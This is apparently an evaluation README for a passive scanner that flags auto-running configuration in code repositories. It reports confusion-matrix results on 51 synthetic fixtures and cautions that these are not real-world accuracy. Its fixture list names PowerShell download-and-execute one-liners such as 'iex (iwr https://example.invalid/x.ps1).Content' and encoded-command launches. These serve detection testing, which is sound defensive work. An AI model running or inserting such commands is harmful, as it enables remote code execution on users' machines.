These numbers are not real-world security detection accuracy. All 51 fixtures are small, consent-safe, intentionally hand-authored examples, not a random or representative sample of open-source repositories or attacks. They were constructed from known detection rules and modeled limitations. Their labels are subjective review judgments, not ground truth that a repository is malicious.
Use Python 3.10+ from a source checkout:
python -m pip install -e .
python -m evaluation.evaluate
python -m evaluation.evaluate --format json
python -m unittest discover -s tests -vThe fixed corpus is versioned in
evaluation/cases.json. Every case stores
a unique ID, a configuration path, the content to scan, a separately
specified high-risk Boolean label, expected execution-surface rules and
an English rationale. The evaluator creates one private temporary directory
per case, writes a harmless configuration, and invokes the real passive
scanner. It never launches script, shell, PowerShell, Git hooks or MCP code
from a fixture. Download URLs in simulated commands use .invalid
domains. All created fixture data is deleted when evaluation finishes.
| Outcome | Cases |
|---|---|
| True positives | 18 |
| False positives | 4 |
| False negatives | 2 |
| True negatives | 27 |
| Total | 51 |
Precision = 18/22 = 81.8%. Recall = 18/20 = 90.0%. This is a score on this designed fixture set, not a measured estimate for internet repositories. None of these labels says a given execution surface is malicious; the threshold indicates relative review urgency.
Four false positives are harmless folder-open tasks (three VS Code,
one Cursor), including the following VS Code examples: an echo, a hidden-terminal echo, and a syntax check. They are still
real execution surfaces, which ClonePeek intentionally labels high by
default. Two false negatives are dangerous behavior inside a
referenced local script, which the single-file synthetic fixtures do not provide. In v0.4.0 the
scanner can read some direct literal .sh references if they exist in the same repository, but these fixture references are absent and still
appear as medium npm lifecycle findings plus a coverage warning, not as a clean bill of health.
The following separate metric asks whether a rule's execution surface was recognized in a particular fixture. This is not the same as high-risk classification or proof of malicious code.
| Rule | Labeled positives | TP | FP | FN | Corpus precision | Corpus recall |
|---|---|---|---|---|---|---|
| vscode-folder-open | 5 | 5 | 0 | 0 | 100% | 100% |
| npm-lifecycle | 12 | 12 | 0 | 0 | 100% | 100% |
| devcontainer-lifecycle | 5 | 5 | 0 | 0 | 100% | 100% |
| devcontainer-feature | 2 | 2 | 0 | 0 | 100% | 100% |
| mcp-server-process | 5 | 5 | 0 | 0 | 100% | 100% |
| claude-hook-command | 8 | 8 | 0 | 0 | 100% | 100% |
| cursor-hook-command | 4 | 4 | 0 | 0 | 100% | 100% |
| config-parse | 2 | 2 | 0 | 0 | 100% | 100% |
| oversize-config | 0 | 0 | 0 | 0 | n/a | n/a |
| unreadable-config | 0 | 0 | 0 | 0 | n/a | n/a |
The evaluator reports per-rule confusion counts and
Wilson 95% intervals with the JSON output. Perfect scores on tiny,
purposely chosen fixtures are not evidence of perfect recall.
The Wilson interval is a diagnostic under a hypothetical independent
sample; the corpus is neither independent nor representative, so those
intervals must not be promoted as real-world performance estimates.
For a rule with zero support, recall is correctly reported as null,
not 100%.
New synthetic fixtures cover iwr ... | iex,
iex (iwr https://example.invalid/x.ps1).Content,
the longer Invoke-Expression (Invoke-WebRequest -Uri ...).Content,
-EncodedCommand, benign Write-Host, benign Get-ChildItem,
and ordinary local PowerShell launch arguments. v0.3.0 adds
Cursor workspace-open, file-edit and encoded-command hook fixtures, plus
a Claude local settings hook. The new
expression-style download-and-execute examples failed before the
v0.3.0 detector fix and classify as critical after it.
Harmless PowerShell examples do not classify as critical.
- Only known, recognized JSON/JSONC configuration families are tested. Arbitrary nested scripts, archives, shell aliases, CI/CD provider configuration and unfamiliar formats may escape detection.
- Treat an execution surface as a prompt for manual review, not a verdict about author intent or command safety.
- A high-risk score can be wrong in both directions; even a synthetic corpus with a 100% score would not justify a field claim.
- For externally valid estimates, recruit independent reviewers to label representative permitted repository samples, keep a blind holdout, track agreement and report uncertainty. Do not tune against the final holdout.
See the heuristic rules, threat model, and the full evaluation source.
The 51-case synthetic confusion matrix above is unchanged, because each fixture contains just one configuration file. Separate multi-file integration tests in tests/test_script_review.py exercise local .sh references, missing files, symlink escape attempts, FIFOs, oversized scripts, redaction, line-number reporting, and the absence of script execution. These prove only the documented cases, not population-level real-world coverage.